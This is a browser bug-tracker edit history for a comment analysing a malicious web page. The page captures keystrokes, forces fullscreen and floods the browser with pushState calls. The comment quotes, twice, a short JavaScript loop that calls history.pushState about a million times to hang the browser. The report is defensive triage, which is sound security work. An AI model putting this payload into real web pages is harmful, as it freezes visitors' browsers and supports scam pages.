Bug 1657709 Comment 3 Edit History

Note: The actual edited comment in the bug view page will always show the original commenter’s name and original timestamp.

Original comment by
on 
This is all what we've seen in similar reports. In addition to the offset cursor there's a script that creates the page contents and tries to go fullscreen and eat keystrokes. Appears to be made for all browsers (detection for Chrome, Opera, and Firefox specifically). Then there's a DOS part which is the pushState overwhelm (see bug 1445844). This consists of 51 obfuscated copies of 

```js
setTimeout(function() {
  setTimeout(function() {
    for (var idx = 0; idx < 1000000; idx++) {
      history[("pushState")](0, 0, "#"+idx.toString())
    }
  }, 0x64)
}, 0x64);
```
each copy has different loop count and timeout value. Most loops are ~1 million; the last 8 are ~10 million times.
Revision 1 by
on 
This is all what we've seen in similar reports. In addition to the offset cursor there's a script that creates the page contents and tries to go fullscreen and eat keystrokes. Appears to be made for all browsers (detection for Chrome, Opera, and Firefox specifically). Then there's a DOS part which is the pushState overwhelm (see bug 1314912). This consists of 51 obfuscated copies of 

```js
setTimeout(function() {
  setTimeout(function() {
    for (var idx = 0; idx < 1000000; idx++) {
      history[("pushState")](0, 0, "#"+idx.toString())
    }
  }, 0x64)
}, 0x64);
```
each copy has different loop count and timeout value. Most loops are ~1 million; the last 8 are ~10 million times.

Back to Bug 1657709 Comment 3